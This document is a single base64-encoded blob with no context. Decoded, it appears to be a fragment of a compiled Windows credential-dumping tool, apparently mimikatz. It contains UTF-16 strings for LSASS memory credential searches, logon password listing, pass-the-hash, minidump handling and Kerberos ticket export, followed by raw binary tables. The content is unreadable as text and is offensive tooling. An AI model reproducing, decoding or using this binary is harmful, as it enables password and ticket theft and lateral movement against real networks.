QQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAAAAAAAAQwBhAGMAaABlAGQAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAQwBhAGMAaABlAGQASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAAAAAABOAGUAdwBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE4AZQB0AHcAbwByAGsAQwBsAGUAYQByAHQAZQB4AHQAAAAAAAAAAABVAG4AbABvAGMAawAAAAAAUAByAG8AeAB5AAAAAAAAAFMAZQByAHYAaQBjAGUAAABCAGEAdABjAGgAAAAAAAAATgBlAHQAdwBvAHIAawAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAFUAbgBrAG4AbwB3AG4AIAAhAAAAAAAAAFUAbgBkAGUAZgBpAG4AZQBkAEwAbwBnAG8AbgBUAHkAcABlAAAAAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwBhAGMAaABlAGQAIABNAGEAcwB0AGUAcgBLAGUAeQBzAAAAAABkAHAAYQBwAGkAAAAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAAAAAAAGUAawBlAHkAcwAAAAAAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAAAAAAB0AGkAYwBrAGUAdABzAAAAUABhAHMAcwAtAHQAaABlAC0AaABhAHMAaAAAAAAAAABwAHQAaAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAbQBpAG4AaQBkAHUAbQBwACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAUwBlAGEAcgBjAGgAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAgAHMAZQBnAG0AZQBuAHQAcwAgAHMAbwBtAGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAAABzAGUAYQByAGMAaABQAGEAcwBzAHcAbwByAGQAcwAAAAAAAAAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAcwBzAHAAAABMAGkAcwB0AHMAIABMAGkAdgBlAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAGwAaQB2AGUAcwBzAHAAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB0AHMAcABrAGcAAAAAAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAABMAGkAcwB0AHMAIABXAEQAaQBnAGUAcwB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAHcAZABpAGcAZQBzAHQAAABMAGkAcwB0AHMAIABMAE0AIAAmACAATgBUAEwATQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAG0AcwB2AAAAAAAAAAAAAABTAG8AbQBlACAAYwBvAG0AbQBhAG4AZABzACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMALgAuAC4AAAAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAABzAGUAawB1AHIAbABzAGEAAAAAAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAFAAUgBPAEMARQBTAFMACgAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABNAEkATgBJAEQAVQBNAFAAIAA6ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBBAE0ARAA2ADQAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAAAAAAAAkAJQBzACAAOgAJAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAByAHUAbgAAAAAAAAAAAAAAdQBzAGUAcgAJADoAIAAlAHMACgBkAG8AbQBhAGkAbgAJADoAIAAlAHMACgBwAHIAbwBnAHIAYQBtAAkAOgAgACUAcwAKAAAAYQBlAHMAMQAyADgAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAGEAZQBzADIANQA2AAAAAABBAEUAUwAyADUANgAJADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAG4AdABsAG0AAAAAAAAAAABOAFQATABNAAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABuAHQAbABtACAAaABhAHMAaAAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtACAATwBSACAAYQBlAHMAMQAyADgAIABPAFIAIABhAGUAcwAyADUANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAG8AbQBhAGkAbgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAFAASQBOACAAYwBvAGQAZQAgADoAIAAlAHcAWgAAAAkAIAAgACAAJQBzACAAAAA8AG4AbwAgAHMAaQB6AGUALAAgAGIAdQBmAGYAZQByACAAaQBzACAAaQBuAGMAbwByAHIAZQBjAHQAPgAAAAAAJQB3AFoACQAlAHcAWgAJAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcA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HXQNAB1kDAAdVAsAHTQKAB1SGeAX0BXAASAMACBkDwAgVA0AIDQMACBSHPAa4BjQFsAUcAEUCAAUZAkAFFQHABQ0BgAUMhBwAQoEAAo0BwAKMgZwARkKABl0DQAZZAwAGVQLABk0CgAZchXAAQ8GAA9kBwAPNAYADzILcAEcDAAcZBAAHFQPABw0DgAcchjwFuAU0BLAEHABHQwAHXQPAB1kDgAdVA0AHTQMAB1yGeAX0BXAARkKABl0EQAZZBAAGVQPABk0DgAZshXAAREGABE0DQARcg1wDGALUAEUCAAUZAoAFFQJABQ0CAAUUhBwARwLABzEHwAcdB4AHGQdABw0HAAcARoAFdAAAAEEAQAEQgAAARkDABlCFXAUMAAAAQ8GAA9kCQAPNAgAD1ILcAEPBgAPZAcAD1QGAA8yC3ABEggAElQPABI0DAAScg7ADHALYAEUCAAUZA4AFFQNABQ0DAAUkhBwARgKABhkDgAYVA0AGDQMABhyFNASwBBwARgKABhkEgAYVBEAGDQQABiyFNASwBBwAQgCAAhyBDABCwIAC/IEMAESCAASVAsAEjQKABJSDsAMcAtgAQYCAAbSAjABGwoAG2QXABtUFQAbNBQAG/IU0BLAEHABGwoAG2QWABtUFQAbNBQAG/IU0BLAEHABEAYAEGQNABA0DAAQkgxwARsLABtkGgAbVBkAGzQYABsBFAAU0BLAEHAAAAEYCgAYZBQAGFQTABg0EgAY0hTQEsAQcAEcDAAcZBIAHFQRABw0EAAckhjwFuAU0BLAEHABGAoAGGQTABhUEQAYNBAAGLIU0BLAEHABDgYADjQLAA5SCnAJYAhQARcLABc0HAAXARQAEPAO4AzQCsAIcAdgBlAAAAEWCgAWVBMAFjQSABayEvAQ0A7ADHALYAEPBgAPZAsADzQKAA9yC3ABHQsAHTQvAB0BJAAW8BTgEtAQwA5wDWAMUAAAARsJABuCF/AV4BPQEcAPcA5gDVAMMAAAAQwGAAw0DQAMcghwB2AGUAEWCgAWNA4AFlIS8BDgDtAMwApwCWAIUAEQBgAQZAsAEDQKABByDHABGQoAGXQJABlkCAAZVAcAGTQGABkyFcABIQoAIWQKACFUCQAhNAgAITId0BvAGXABDgIADjIKMAESCAASVBMAEjQQABKyDsAMcAtgAREGABE0FAAR8gpw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